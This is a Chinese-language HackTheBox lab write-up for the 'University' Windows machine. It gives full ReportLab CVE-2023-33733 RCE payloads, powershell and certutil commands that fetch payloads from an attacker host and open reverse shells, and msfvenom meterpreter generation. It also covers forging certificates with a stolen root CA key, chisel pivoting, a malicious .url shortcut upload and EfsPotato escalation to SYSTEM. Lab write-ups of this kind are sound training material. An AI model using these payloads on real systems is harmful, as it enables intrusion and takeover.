HTB 之 University
Window(Insane)
sudo nmap -sS -p1-65535 --min-rate 10000 -Pn 10.10.11.39
#53,80,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49676,49697,64727
sudo nmap -p53,80,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49676,49697,64727 -sCV -Pn 10.10.11.39
等待扫描的过程中,先访问 80 端口
学生注册并登录,发现几个点
1.图片文件上传
2.csr 文件上传
3.课程下载(可能有任意文件读取)
4.右上角个人档案 pdf 导出
老师端注册,但是登录处于非激活状态,可以 CSR 文件免密登录,那能否利用文件读取尝试下载 My-CSR.csr呢?
http://university.htb/static/assets/uploads/lectures/Introduction.zip
#配合../../../My-CSR.csr等
无果,可能是路径不对,我确实不知道 csr 文件存在哪里
尝试在本地进行生成,生成过程中注意文件上传的黑体字要求,用户名和邮箱
openssl req -newkey rsa:2048 -keyout PK.key -out My-CSR.csr
上传整个csr文件后,得到一个 pem 文件,确实可以登录
同时也得到了一个用户名 headadmin
那我能否通过伪造 pem 文件,从而实现无密登录呢?
搜了下,没有有关用法,换条路,开始仔细搜索可能的点位
回到 My Profile
,有一个CKEditor
搜了下,也只是 xss 等 cve,先放着
之前的 PDF 搜一下
PDF-1.4 exp cve
、Reportlab cve
https://github.com/c53elyas/CVE-2023-33733
将下面内容放到富文本编辑器中保存,再导出 pdf,似乎并未触发
<para><font color="[ [ getattr(pow,Word('__globals__'))['os'].system('curl http://kali-ip/1.js') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">exploit</font></para>
后来群里师傅分享了 payload 如下:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://kali-ip/1.js') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>
可以监听到,尝试反弹 shell
https://qftm.github.io/2019/08/03/Windows-Reverse-Shell/
经过多次尝试,先下载好对应 ps1 文件,再进行反弹
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://kali-ip/powercat.ps1') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString("http://kali-ip/powercat.ps1");powercat -c kali-ip -p 4949 -e powershell"') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -nop -exec bypass -c "(New-Object System.Net.Webclient).DownloadString("http://kali-ip/powercat.ps1")') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>powershell
试了几次,有关 powershell 的都不成功,既然如此,直接用 exe 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=kali-ip lport=3434 -f exe > test.exe
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('certutil -urlcache -split -f http://kali-ip/test.exe c:\temp\test.exe & start c:\temp\test.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>
可以下载,但不执行
后来发现是路径不对
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('certutil -urlcache -split -f http://kali-ip/test.exe c:\users\public\test.exe & start c:\users\public\test.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>
这样,msf 是可以监听到的
但是进入 shell 不能回车?
连按两下 ctrl+c,回到meterpreter会话
,也是可以的
getuid
#Server username: UNIVERSITYWAO
meterpreter > getprivs
EnabledProcessPrivileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeMachineAccountPrivilege
Listing: c:users
=================
ModeSizeTypeLast modified Name
-----------------------------
040777/rwxrwxrwx 8192 dir 2024-10-1902:20:58+0800Administrator
040777/rwxrwxrwx 0 dir 2018-09-1515:21:46+0800AllUsers
040777/rwxrwxrwx 0 dir 2024-03-0306:39:58+0800Choco.L
040555/r-xr-xr-x 8192 dir 2024-02-1306:27:25+0800Default
040777/rwxrwxrwx 0 dir 2018-09-1515:21:46+0800DefaultUser
040777/rwxrwxrwx 8192 dir 2024-02-1310:19:53+0800John.D
040777/rwxrwxrwx 0 dir 2024-02-2905:17:28+0800Nya.R
040555/r-xr-xr-x 4096 dir 2024-10-2822:28:49+0800Public
040777/rwxrwxrwx 8192 dir 2024-09-1317:31:26+0800Rose.L
040777/rwxrwxrwx 8192 dir 2024-10-1902:26:04+0800 WAO
100666/rw-rw-rw-174 fil 2018-09-1515:11:27+0800 desktop.ini
meterpreter > pwd
C:WebUniversity
通过查看当前 pwd,进而,发现网站是用python写的
发现了一些备份 zip,都可以 download 下来,但是解压要密码,好的,同目录下的 ps1 文件给了密码
kali 用 zip 解压,这个密码不对,嘶,根据 ps1 文件,是用 7z 解压的,我先尝试用winrm 登录,可行
evil-winrm -i 10.10.11.39 -u wao -p We*7
C:"Program Files"7-Zip7z.exe x C:Web"DB Backups"DB-Backup-2024-04-25.zip -o C:WebUniversityout -pWe*7
或者用 kali 自带的 7z 试试解密
7z x DB* -oout -aoa -pWe*7
https://askubuntu.com/questions/1438084/7zip-command-line-error-too-short-switch-o
提示 too short
去掉-o 和后面的空格即可
emmm,解压出来这个数据库是空的
那还有什么?
ipconfig
,有一个内网 192.168.99.1
certutil -urlcache -split -f http://kali-ip/fscan.exe c:\tmp\fscan.exe
fscan.exe -h 192.168.99.1/24 -np -no -nopoc
居然有一个 22 端口的,可能是 linux
根据 fscan 的最终结果,有两台机器
DC 192.168.99.1 10.10.11.39
WS-3 192.168.99.2
回到 web 目录下,可以看到 CA,有两个重要文件,根证书的东西,root.cert
和root.key
,那是否可以利用伪造,进而登入 web 的教授端?
msf 有个好处,拿到 shell 就可以直接 download
下来
evil-winrm
也有类似的方法
download rootCA.* /home/kali/htb/univ/rootCA.*
根据 wao-shell 上的用户和 web 上发现的教授用户名,有 rose,有 nya 等,但是现在缺个邮箱
在 wao-shell 下可以发现 web 路径下,uploads 路径中有两个 csr 文件(5.csr是martin用户的),尝试下载,并用根证书签名,看是否能登录
签名的语句,已经写在某 py 文件里了,只需要下载到 kali,改写一下即可
def generate_signed_cert(request, user):
command =r'"C:\Program Files\openssl-3.0\x64\bin\openssl.exe" x509 -req -in "{}" -CA "{}" -CAkey "{}" -CAcreateserial'.format(user.csr.path, rooCA_Cert, rooCA_PrivKey)
output = subprocess.check_output(command, shell=True).decode()
# Base64 encode the content of the file
encoded_output = b64encode(output.encode()).decode()
response =HttpResponse(content_type='application/x-x509-ca-cert')
# Set the content of the file as a cookie
response.set_cookie('PSC', encoded_output)
response['Content-Disposition']='attachment; filename="signed-cert.pem"'
response.write(output)
return response
改写如下,其实可以直接用语句即可,不需要 python
from base64 import b64encode
from cryptography import x509
import subprocess
path="/home/kali/htb/univ/"
name=input("name")
testcsr=path+name
command = r'openssl x509 -req -in "{}" -CA "{}" -CAkey "{}" -CAcreateserial'.format(testcsr, f"{path}/rootCA.crt", f"{path}/rootCA.key")
output = subprocess.check_output(command, shell=True).decode()
print(output)
手动保存为 1.pem,登录,可行
查看功能,貌似可以更改 gpg 公钥文件
另外可以创建课程,之前访问课程的一些链接,下载了 zip 文件
所以创建完课程,点击 Add a new lecture
有一个文件上传,要求上传一个压缩包,且有白名单限制,给了样例 zip 文件
那唯一可能改动的就是 url 了
这条路先放着,不知道后续是什么步骤了
所以回到当初看到的那个内网 IP 192.168.99.?
,开放 22 端口的那个
尝试用现有凭证登录,需要用到内网转发
噢,目前的 wao-shell 是有 ssh 命令的,但是好像执行报错
https://github.com/jpillora/chisel
C:UsersWAODocuments> upload chisel.exe c:\tmpch.exe
#8M的文件上传都那么慢,不如去curl+python?
https://zhuanlan.zhihu.com/p/360149991 socks 代理一栏
#kali端
./chisel server -p 171 --socks5
vim /etc/proxychains4.conf #socks5 127.0.0.1 1080
#windows端
./ch.exe client kali-ip:171 socks
嘶,无法 ssh 连接,甚至没有一个网段,有脏东西
proxychains ping 192.168.99.1 #ping不到
那没办法了
wao-shell
在 wao-shell 下,用 fscan 登录
./fscan.exe -h 192.168.99.12 -user wao -pwd We*7 -m ssh -c "id"
这明显是可以的,用 wao 凭证去登录 99.12,成功执行id命令
那为什么 chisel 不可行?
1.先检查了下两个 chisel 是否版本一致
2.在 kali 命令前全加了 sudo
,也没用
最后用来下面的命令才可以
#kali端
./chisel server --port 1447 --socks5 --reverse
vim /etc/proxychains4.conf#socks5 127.0.0.1 1080
#windows端
certutil -urlcache -split -f http://kali-ip/chisel.exe
.chisel.exe client --max-retry-count 1 kali-ip:1447 R:socks
#kali端
sudo proxychains -q ssh [email protected]
所以这是一个 LAB-2
的机器
sudo -l
,给的是 (ALL : ALL) ALL
sudo su
可以直接进 root
与此同时呢,kali 也可以通过 evil 连接到 WS-3
这台机器,为什么可以连到我不理解,按理说 fscan 没扫到它这个端口
proxychains evil-winrm -i 192.168.99.2 -u wao -p 'W*7'
来到 public 文件夹,发现有关 Lectures 的文件夹
但是它无法被访问
下面步骤的目的就是获取 martin-shell
已知 LAB2 和 WS-3 之间可以访问(都是内网),所以尝试反弹 shell
Professor要先上传一个公钥文件,才能在后面添加课程文件,而要上传的课程文件(压缩包)指明了msf木马的路径,(以上过程均在kali中实现),最终在LAB2机器监听到martin-shell
#kali下
gpg --gen-key#注意输入正确的用户名和邮箱:martin.rose [email protected]
gpg --export-a "martin.rose"> gpg.key
去http://university.htb/accounts/upload_PubKEY/提交这个key,不然后面讲座上传不了文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.12 LPORT=2333-f exe > martin.exe
proxychains evil-winrm -i 192.168.99.2 -u wao -p 'W*37'#WS-3下
mkdir c:\tmp
cd c:\tmp
upload martin.exe#LAB-2下
nc -lvvp 2333#kali下
cat>Reference-1.url<<EOF
[InternetShortcut]
URL=file:///C:/tmp/martin.exe
IDList=
EOF
7z u mal.zip Reference-1.url#再为该zip签名
gpg -u martin.rose --detach-sign mal.zip
http://university.htb/lecture/upload/14/
,添加一个新课程,上传这两个文件
nc -lvnp 2333即可
martin-shell
拿到 user.txt,查看其它文件
这 txt 说,自从 2023 年 10 月 29 日之后,这些机器没有更新过,那可能要用到内核提权
准备横向,看怎么得到这个 Rose,但是这个 shell 很快就退出了
算了,就这样,能力有限,root 就放了吧
cypress师傅的提示在这里 :rce on ws-3 > privesc > steal kerberos-ticket of rose on ws-3 > rose has genericall on GMSA-PCLIENT01$ > GMSA-PCLIENT01$ has allowedtoact on the DC
非预期解
这是有 root 的一个非预期方法
在 wao-shell 下:
./RunasCs.exe --bypass-uac wao We*7 "whoami /priv"
#提示默认的l 2类型不可用,让用5
./RunasCs.exe -l 5 --bypass-uac wao We*7 "whoami /priv"
多了几个权限,其中有一个 SeImpersonatePrivilege
,利用EfsPotato
提权拿到 system
https://github.com/zcgonvh/EfsPotato
需要 C#编译一下,我这里是 4.x 版本,所以
csc.exe EfsPotato.cs -nowarn:1691,618
certutil -urlcache -split -f http://kali-ip/EfsPotato.exe c:\tmp\efs.exe
./RunasCs.exe -l 5 --bypass-uac wao WeWe*7 "c:\tmp\efs.exe whoami"
可行,是以 system 身份执行了 whoami,那就可以反弹 shell 了,msf 生成一下
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=kali-ip lport=3434 -f exe > test.exe
certutil -urlcache -split -f http://kali-ip/test.exe
./RunasCs.exe -l 5 --bypass-uac wao We*7 "c:\tmp\efs.exe test.exe"
msf 监听得到 root-shell
总结
user.txt:
pdf 反弹 shell(CVE-2023-33733)->wao-shell->内网利用(socks 代理)->professor端恶意文件上传->martin-shell
说实话没看懂后面 professor 这整个利用链,在 LAB2 机器的proto-features.py
,没看出来
这怎么发现上传功能的.URL
有漏洞的?
1.csc.exe build 时出现 生成 Win32 资源时出错: 拒绝访问
权限不够,用管理员身份打开 cmd 即可
2.pdf
try:
subprocess.run(["C:\Program Files\Python310\Scripts\xhtml2pdf.exe",f"{random_prefix}.html"], shell=False, check=False)
except subprocess.CalledProcessErroras e:
print(f"Command execution failed: {e.output}")
returnNone
pdf_file =open(f"{random_prefix}.pdf",'rb').read()
response =HttpResponse(pdf_file, content_type='application/pdf')
response['Content-Disposition']='attachment; filename="profile.pdf"'
# get rid of the temp files
os.remove(f"{random_prefix}.html")
os.remove(f"{random_prefix}.pdf")
return response
参考
https://github.com/c53elyas/CVE-2023-33733
https://github.com/shadow1ng/fscan
https://book.hacktricks.xyz/cn/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
https://book.hacktricks.xyz/cn/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer
https://github.com/zcgonvh/EfsPotato
chisel 建立 scoks:https://n3nu.medium.com/how-to-pivot-using-chisel-e59b1987e252
原文始发于微信公众号(羽泪云小栈):HTB 之 University(user部分)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论